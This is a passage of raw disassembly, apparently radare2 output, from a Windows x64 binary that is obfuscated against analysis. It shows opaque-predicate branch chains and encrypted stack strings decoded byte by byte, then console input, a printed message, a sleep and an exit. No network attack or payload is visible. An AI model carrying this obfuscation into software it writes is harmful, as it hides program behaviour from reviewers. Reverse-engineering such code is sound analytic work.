jne 0x14008fb87
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009011e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008fe22
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14009011e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008fe54
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14008f653
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008fe80
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
dec r11
inc r11
jmp 0x14008f653
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008fea2
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x1400901c7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008feca
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140090200
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008fb3e
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ff41
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ff67
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14009022e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008ff90
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
add rbx, r8
jmp 0x1400901cb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008fb01
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r11
inc r11
jmp 0x14008f653
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140090093
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140090200
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x14009022e
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140090200
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400901cb
lea edx, [r9 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x30
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x1c0], cl
add rbx, r8
jmp 0x1400901cb
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008f653
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009011e
movzx r9d, r11b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x1c0], cl
inc r8
dec r11
inc r11
jmp 0x14008f653
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14008f653
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
dec r11
inc r11
jmp 0x14008f653
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x1400901cb
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x30
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008f653
lea rcx, [r11 + r13]
and sil, cl
mov eax, 0x18
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x1c0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x40
add cl, r10b
mov byte [rbp + r11 + 0x1c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x14008f650
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x14008f640
lea rcx, [rbp + 0x174f580]
jmp 0x1400902f0
lea rcx, [rbp + 0x1454450]
jmp 0x1400902f0
lea rcx, [rbp + 0x1c0]
call fcn.140097760
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [0x140149080]
movdqu xmmword [rbp + 0x290], xmm1
mov byte [rbp + 0x280], 0
lea rdx, [rbp + 0x280]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140040ba0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x220]
call fcn.140043150
mov rdx, rax
lea rcx, [0x1401ecf50]
call fcn.1400ad7f0
xor eax, eax
movzx edi, byte [rsp + 0x40]
cmp byte [0x1401ed160], al
jne 0x140090f94
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x150], 0x6705edc2
mov dword [rbp + 0x154], 0x60636511
mov word [rbp + 0x158], 0xd52a
mov byte [rbp + 0x15a], 0xfa
mov qword [rbp + 0x15b], rax
mov dword [rbp + 0x163], eax
mov word [rbp + 0x167], ax
mov byte [rbp + 0x169], al
movabs r14, 0xf8ebecfe64be411e
movabs r12, 0xce737af4c133c7d2
movabs r15, 0xeac3c6fb2e3ac35a
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1a
jae 0x140090f5f
movzx r10d, byte [rbp + r11 + 0x150]
mov edx, r10d
nop word [rax + rax]
cmp rbx, r11
ja 0x140090f56
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009041e
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
mov edi, reloc.WS2_32.dll_socket
sub dil, al
add dil, dil
add dil, r10b
add dil, cl
jmp 0x14009044b
je 0x140090ee7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140090e55
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140090df9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140090dae
movzx r9d, r11b
nop
cmp r8, r11
ja 0x140090f4d
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14009047a
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x1400904a1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140090d92
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140090d6f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140090d52
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140090a1c
nop
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400909fd
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400909d4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400909ae
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140090992
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140090972
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140090955
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140090936
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140090916
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400908e7
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400904b0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140090f30
lea rcx, [r8 + 4]
cmp rbx, rcx
jb 0x140090f13
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14009069c
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140090681
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140090666
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140090896
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140090849
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140090808
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400907dd
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400904b0
mov rbx, rcx
lea r8, [rcx + 6]
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400907ab
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14009078e
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140090772
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140090752
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x140090735
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140090716
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x1400906f0
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x1400906ca
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x1400906bc
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x1400904b0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x41]
jmp 0x1400904b0
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x1400904a1
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140090450
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400903f0
lea edx, [r9 - 0x50]
mov ecx, 0x18
jmp 0x140090dbb
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
inc r8
dec r11
inc r11
jmp 0x1400903d4
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400903d4
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140090e17
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x140090e39
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140090e3c
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140090e6f
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x140090ea0
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x150], dil
inc r11
jmp 0x1400903d4
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 1
jb 0x1400907f8
lea edx, [r9 - 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x58]
jmp 0x140090dcc
lea edx, [r9 - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x4e
add dil, dl
cmp rbx, 0xa
jae 0x140090d1a
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140090c11
lea edx, [r9 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x140090822
lea edx, [r9 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 1
je 0x140090d36
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140090b2e
lea edx, [r9 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xa
jmp 0x140090860
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5c
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140090ea0
lea edx, [r9 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x140090e72
add r9b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
jmp 0x140090e3c
sub r9b, 0x2c
movzx eax, r10b
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140090e39
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
jmp 0x140090e14
add r9b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400903d4
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x1400903d4
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3c
add dil, dl
jmp 0x140090dcc
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140090a39
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
jmp 0x1400908a5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090a71
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x74
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090a99
lea edx, [r9 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140090e72
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090abf
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
jmp 0x140090e39
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140090ad6
lea edx, [r9 + 0x18]
mov ecx, 0x2c
jmp 0x140090e06
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140090b02
add r9b, 0x54
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4c
dec r11
inc r11
jmp 0x1400903d4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400908b0
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140090dcc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090b56
lea edx, [r9 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140090dcc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090b85
sub r9b, 0x26
movzx eax, r10b
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400903d4
cmp rbx, rcx
jne 0x140090baa
sub r9b, 0x72
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140090e3c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140090bd2
lea edx, [r9 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140090e72
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140090863
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140090c4c
sub r9b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140090c74
lea edx, [r9 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x140090e72
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140090c9a
sub r9b, 0x38
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x78
jmp 0x140090e39
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140090cbf
lea edx, [r9 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
jmp 0x140090e14
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140090cee
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400903d4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140090822
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140090dcc
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
jmp 0x140090e11
lea edx, [r9 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140090e72
sub r9b, 0x5e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6e
jmp 0x140090e39
add r9b, 0x2a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x26
dec r11
inc r11
jmp 0x1400903d4
lea edx, [r9 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140090dcc
movzx r9d, r11b
lea edx, [r9 + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x7e
add r10b, r9b
mov byte [rbp + r11 + 0x150], r10b
inc r8
dec r11
inc r11
jmp 0x1400903d4
movzx r9d, r11b
lea edx, [r9 - 0x7a]
mov ecx, 0x2b
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x22
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x150], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400903d4
lea rcx, [r11 + r12]
movzx eax, cl
and al, dl
mov edx, 0x21
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
movzx r9d, r11b
add dil, r10b
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x150], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x1400903d4
sub r9b, 0x6a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1a
jmp 0x1400903d1
add r9b, 0x5a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x76
jmp 0x1400903c1
lea rdx, [rbp + 0x153c178]
jmp 0x140090f66
lea rdx, [rbp + 0x1120296]
jmp 0x140090f66
lea rdx, [rbp + 0x150]
mov rcx, rsi
call fcn.140040e10
mov rcx, rax
lea rdx, [0x1401ed168]
call fcn.140040df0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x50], 0x2e482a6c
mov dword [rsp + 0x54], 0x36255d68
mov dword [rsp + 0x58], 0x3e457538
mov dword [rsp + 0x5c], 0x2b33232e
mov dword [rsp + 0x60], 0x3729487c
mov dword [rsp + 0x64], 0xd8cb2d25
mov dword [rsp + 0x68], 0xd0ae85a7
mov dword [rsp + 0x6c], 0xc6c6dd80
mov dword [rsp + 0x70], 0xd9b98dd3
mov dword [rsp + 0x74], 0xa796c4c7
mov dword [rsp + 0x78], 0xad92cbd9
mov dword [rsp + 0x7c], 0xdec2cedd
mov dword [rbp - 0x80], 0x9b9bc1c2
mov word [rbp - 0x7c], 0x6f6e
mov byte [rbp - 0x7a], 0x46
mov qword [rbp - 0x79], rax
mov byte [rbp - 0x71], al
movabs r15, 0x5a15bf5d661cbf6a
movabs r12, 0xe413e1832563e3e
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x40
jae 0x140091a90
movzx r10d, byte [rsp + r11 + 0x50]
mov r14d, r10d
movzx r9d, r11b
nop word [rax + rax]
movzx esi, r9b
cmp rbx, r11
ja 0x140091a87
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140091080
lea rcx, [r11 + r15]
mov rax, rcx
and rax, r14
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r14
add dil, 0x1a
jmp 0x1400910a0
je 0x140091a15
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400919c1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009199d
movzx r9d, r11b
cmp r8, r11
ja 0x140091a7e
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x1400910d2
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140091110
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140091956
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140091930
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400918b2
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140091886
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140091645
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140091637
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14009160e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400915eb
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400915ce
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400915b1
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140091591
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140091572
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140091555
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140091529
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140091120
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140091a5e
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140091a41
lea rcx, [r8 + 0x200]
cmp rbx, rcx
jb 0x140091306
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400912eb
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400912cc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400914d5
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14009148c
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14009144f
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14009142a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140091120
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14009140d
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x1400913f0
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
ja 0x1400913d5
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400913b5
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140091395
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140091378
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140091355
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009132f
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140091321
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140091120
mov rbx, rcx
lea r8, [rcx + 9]
jmp 0x140091120
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
